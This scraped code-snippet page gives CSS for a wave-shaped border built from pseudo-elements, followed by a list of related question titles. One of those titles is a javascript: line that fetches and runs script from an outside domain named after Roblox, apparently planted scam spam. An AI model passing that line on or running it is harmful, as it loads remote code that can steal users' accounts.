How to create wave like border

#wave {
  position: relative;
  height: 70px;
  width: 600px;
  background: #e0efe3;
}
#wave:before {
  content: "";
  display: block;
  position: absolute;
  border-radius: 100% 50%;
  width: 340px;
  height: 80px;
  background-color: white;
  right: -5px;
  top: 40px;
}
#wave:after {
  content: "";
  display: block;
  position: absolute;
  border-radius: 100% 50%;
  width: 300px;
  height: 70px;
  background-color: #e0efe3;
  left: 0;
  top: 27px;
}

Source: stackoverflow.com

Similar codes

22 votes140 views4 answers
Grid center align
CSS
14 votes223 views2 answers
.col-12 bootstrap
CSS Bootstrap
0 vote132 views1 answer
Position absolute center with transform
CSS
0 vote144 views1 answer
Animation clip path
CSS
0 vote150 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS
-1 vote134 views2 answers
Css good background color
CSS
0 vote140 views3 answers
Css class selector
CSS
1 vote151 views1 answer
Css thinner hr
CSS
2 votes138 views1 answer
Blue outline after click when in mobile view
CSS
6 votes133 views2 answers
How to wrap text in div css
CSS